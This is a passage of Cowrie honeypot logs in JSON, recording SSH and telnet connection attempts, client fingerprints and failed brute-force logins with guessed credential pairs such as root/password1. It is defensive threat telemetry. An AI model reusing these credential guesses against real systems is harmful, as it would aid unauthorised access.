","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:30:38.821897Z","src_ip":"178.20.210.208","session":"9ce89407651a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX1","message":"login attempt [root/1qaz2WSX1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:30:39.227825Z","src_ip":"178.20.210.208","session":"9ce89407651a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:30:40.333893Z","src_ip":"178.20.210.208","session":"9ce89407651a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41780,"dst_ip":"159.203.135.109","dst_port":23,"session":"80c6c75d494c","protocol":"telnet","message":"New connection: 107.6.151.170:41780 (159.203.135.109:23) [session: 80c6c75d494c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:30:46.221196Z"}
{"eventid":"cowrie.session.closed","duration":40.7876193523407,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:02.689346Z","src_ip":"107.6.151.170","session":"5070be108d90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54909658432007,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:18.770138Z","src_ip":"107.6.151.170","session":"80c6c75d494c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38858,"dst_ip":"159.203.135.109","dst_port":23,"session":"606f583d369b","protocol":"telnet","message":"New connection: 107.6.151.170:38858 (159.203.135.109:23) [session: 606f583d369b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:28.652111Z"}
{"eventid":"cowrie.session.closed","duration":3.5739030838012695,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:32.225880Z","src_ip":"107.6.151.170","session":"606f583d369b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34436,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a4ae7836e4","protocol":"telnet","message":"New connection: 107.6.151.170:34436 (159.203.135.109:23) [session: 37a4ae7836e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:36.849472Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":45374,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca9353c41ee6","protocol":"ssh","message":"New connection: 14.55.144.22:45374 (10.17.0.5:22) [session: ca9353c41ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:47.665817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:47.669692Z","src_ip":"14.55.144.22","session":"ca9353c41ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:47.875500Z","src_ip":"14.55.144.22","session":"ca9353c41ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56272,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e3c9c6fc43","protocol":"telnet","message":"New connection: 107.6.151.170:56272 (159.203.135.109:23) [session: a5e3c9c6fc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:48.113738Z"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:48.731658Z","src_ip":"14.55.144.22","session":"ca9353c41ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:31:49.936499Z","src_ip":"14.55.144.22","session":"ca9353c41ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.0261447429657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:07.875541Z","src_ip":"107.6.151.170","session":"37a4ae7836e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":34942,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc05d48dafd1","protocol":"ssh","message":"New connection: 199.192.25.149:34942 (10.17.0.5:22) [session: dc05d48dafd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:28.278807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:28.285001Z","src_ip":"199.192.25.149","session":"dc05d48dafd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:28.348634Z","src_ip":"199.192.25.149","session":"dc05d48dafd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ascendex","password":"ascendex789","message":"login attempt [ascendex/ascendex789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:28.547447Z","src_ip":"199.192.25.149","session":"dc05d48dafd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:29.613545Z","src_ip":"199.192.25.149","session":"dc05d48dafd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":64490,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a938a38065b","protocol":"ssh","message":"New connection: 178.128.39.166:64490 (159.203.135.109:22) [session: 1a938a38065b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:40.081411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:40.092112Z","src_ip":"178.128.39.166","session":"1a938a38065b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:40.186016Z","src_ip":"178.128.39.166","session":"1a938a38065b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1","message":"login attempt [root/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:40.567413Z","src_ip":"178.128.39.166","session":"1a938a38065b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:41.673104Z","src_ip":"178.128.39.166","session":"1a938a38065b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":41444,"dst_ip":"10.17.0.5","dst_port":22,"session":"459768c6b19e","protocol":"ssh","message":"New connection: 162.144.61.95:41444 (10.17.0.5:22) [session: 459768c6b19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:54.999689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:55.003835Z","src_ip":"162.144.61.95","session":"459768c6b19e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:55.092963Z","src_ip":"162.144.61.95","session":"459768c6b19e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.04114055633545,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:55.154782Z","src_ip":"107.6.151.170","session":"a5e3c9c6fc43","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"xem","password":"xem123","message":"login attempt [xem/xem123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:55.360644Z","src_ip":"162.144.61.95","session":"459768c6b19e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:32:56.461141Z","src_ip":"162.144.61.95","session":"459768c6b19e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.236.63","src_port":55472,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6af345126a8","protocol":"telnet","message":"New connection: 139.59.236.63:55472 (159.203.135.109:23) [session: c6af345126a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:33:09.712984Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":35124,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a35e7dddb0f","protocol":"ssh","message":"New connection: 185.243.11.39:35124 (10.17.0.5:22) [session: 0a35e7dddb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:33:45.669241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:33:45.673475Z","src_ip":"185.243.11.39","session":"0a35e7dddb0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:33:45.784355Z","src_ip":"185.243.11.39","session":"0a35e7dddb0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qnt456","message":"login attempt [root/qnt456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:33:46.122449Z","src_ip":"185.243.11.39","session":"0a35e7dddb0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:33:47.241745Z","src_ip":"185.243.11.39","session":"0a35e7dddb0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.76589632034302,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:33:57.478768Z","src_ip":"139.59.236.63","session":"c6af345126a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":56466,"dst_ip":"10.17.0.5","dst_port":22,"session":"afdb9de8a16c","protocol":"ssh","message":"New connection: 14.55.144.22:56466 (10.17.0.5:22) [session: afdb9de8a16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:36.578912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:36.582940Z","src_ip":"14.55.144.22","session":"afdb9de8a16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:36.788855Z","src_ip":"14.55.144.22","session":"afdb9de8a16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liguo!987","message":"login attempt [root/liguo!987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:37.649829Z","src_ip":"14.55.144.22","session":"afdb9de8a16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:38.860047Z","src_ip":"14.55.144.22","session":"afdb9de8a16c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":58760,"dst_ip":"159.203.135.109","dst_port":22,"session":"b28980f0d2d3","protocol":"ssh","message":"New connection: 85.214.154.50:58760 (159.203.135.109:22) [session: b28980f0d2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:50.559759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:50.563211Z","src_ip":"85.214.154.50","session":"b28980f0d2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:50.661608Z","src_ip":"85.214.154.50","session":"b28980f0d2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roger","password":"BitcoinC@sh!P@ssw0rd$","message":"login attempt [roger/BitcoinC@sh!P@ssw0rd$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:50.940293Z","src_ip":"85.214.154.50","session":"b28980f0d2d3","protocol":"ssh"}
